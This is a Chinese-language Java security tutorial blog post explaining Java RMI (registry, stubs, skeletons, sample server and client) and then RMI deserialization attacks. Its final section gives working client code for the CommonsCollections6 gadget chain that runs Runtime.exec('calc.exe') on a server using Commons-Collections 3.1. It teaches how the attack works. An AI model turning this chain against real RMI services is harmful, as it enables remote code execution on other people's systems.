【java安全】RMI-Toy模板网

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【java安全】RMI

前言

RMI全称为：Remote Method Invocation 远程方法调用，是java独立的一种机制。

RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法

在网络传输的过程中，RMI中对象是通过序列化的形式进行编码传输，既然有序列化，必然会有反序列化，RMI服务端在接收到序列化后的会将对象进行反序列化。

在反序列化攻击中，我们可能找不到反序列化的点，那么使用RMI就可以作为反序列化利用链的触发点 *****

RMI的组成

RMI主要分为三个部分：

Client客户端：客户端调用服务端的方法
Server服务端：远程调用方法对象的提供者，是代码真正执行的地方，执行结束会给客户端返回一个方法执行的结果
Registry注册中心：本质就是一个map，像一个字典，用于客户端查询服务端调用方法的引用

RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样

唯一区别就是RMI服务端提供的方法，被调用时方法是执行在服务端

为了屏蔽网络通信的复杂性，RMI 引入了两个概念，分别是 Stubs（客户端存根）以及 Skeletons（服务端骨架），当客户端（Client）试图调用一个在远端的 Object 时，实际调用的是客户端本地的一个代理类（Proxy），这个代理类就称为 Stub，而在调用远端（Server）的目标类之前，也会经过一个对应的远端代理类，就是 Skeleton，它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的，我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

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RMI Register 像一个网关，自己不会执行远程方法，但是RMI Server可以在上面注册一个Name到对象的绑定关系，RMI Client通过这个Name向RMI Registry查询，获得绑定关系，然后连接RMI Server。最后，远程方法在RMI Server上调用

RMI实现

Server

一个RMIServer分为三个部分：

一个继承了java.rmi.Remote的接口，其中定义我们想要远程调用的函数，比如这里的hello()
一个实现了此接口的类，此类实现了函数体，并且继承UnicastRemoteObject类
一个主类，用来创建Registry，并将上面的类实例化后绑定到一个地址。这就是所谓Server了

0x01 编写一个远程接口

public interface IRemoteHelloWorld extends Remote {
    public String hello() throws RemoteException;
}

这个接口需要使用public声明，否则客户端尝试加载远程接口的对象会出错（除非客户端、服务端放在一起）
继承 java.rmi.Remote接口
接口的方法需要抛出RemoteException异常

0x02 实现该远程接口

public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
    protected RemoteHelloWorld() throws RemoteException {
    }

    public String hello() throws RemoteException {
        System.out.println("hello~~~()");
        return "Hello,World!";
    }
}

该类实现远程接口
继承UnicastRemoteObject类，貌似继承了之后会使用默认socket进行通讯，并且该实现类会一直运行在服务器上。（如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。）
构造方法抛出RemoteException异常
实现类中使用的对象必须都可序列化，即都继承java.io.Serilizable

0x03 Registry注册远程对象

上面我们已经把远程调用的类创建好了，接下来我们怎么创建并调用它呢？

Java RMI 设计了一个 Registry 的思想，很好理解，我们可以使用注册表来查找一个远端对象的引用，更通俗的来讲，这个就是一个 RMI 电话本，我们想在某个人那里获取信息时（Remote Method Invocation），我们在电话本上（Registry）通过这个人的名称（Name）来找到这个人的电话号码（Reference），并通过这个号码找到这个人（Remote Object）。

这种思想是由：java.rmi.registry.Registry和java.rmi.Nameing来实现的

先说：java.rmi.Nameing ，这是一个final类，提供了在远程对象注册表中存储和获取远程对象引用的方法

这个类的每个方法中都有一个URL格式的参数，格式为：//host:port/ObjectName

host表示注册表所在的主机
port表示注册表接受调用的端口号，默认1099
name表示一个注册的Remote Object的引用名称

那么就好理解了，我们实现了服务端待调用的对象，现在我们需要利用Naming.rebind()函数将其注册到register中

步骤：

利用LocateRegistry.createRegistry(1099);创建registry注册中心
实例化远程对象
将实例化对象绑定到registry注册中心

public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        // 创建注册中心，指定1099端口
        LocateRegistry.createRegistry(1099);
        // 实例化远程对象
        RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
        // 将远程对象绑定到注册中心，此处Name为：leekos
        Naming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); //注意字符串格式
    }
}

服务端我们已经搭建好了

Client

接下来我们需要搭建客户端，来远程执行服务器上的对象方法。

步骤如下：

使用Naming通过名字找到registry中绑定的对象
调用对象的方法

这里我们使用Naming.lookup()方法寻找registry的对象

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        String hello = iRemoteHelloWorld.hello();
        System.out.println(hello);

    }
}

小疑问

首先执行服务端：

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接着执行客户端：

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在客户端的控制台成功返回Hello,World!

此处我们发现了一个现象，为什么对象方法输出的hello~~~()字符串在服务端输出呢？

这刚好证明了RMI中远程方法是在服务端调用的，并将方法执行结果返回给客户端

RMI攻击

既然我们可以远程调用服务器上的对象的方法，并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型，我们就可以传入构造好的利用链对象，当反序列化时就会触发

此处使用java反序列化CommonsCollections6链子

服务端代码如上，但是必须满足相关条件：

使用具有漏洞的Commons-Collections3.1组件
RMI提供的远程对象的方法形参中有Object类型，这样才能实现反序列化链利用

客户端代码：

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        Map map = getPayload();
        iRemoteHelloWorld.doWork(map);
    }

    public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法，从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        return hashMap;
    }

}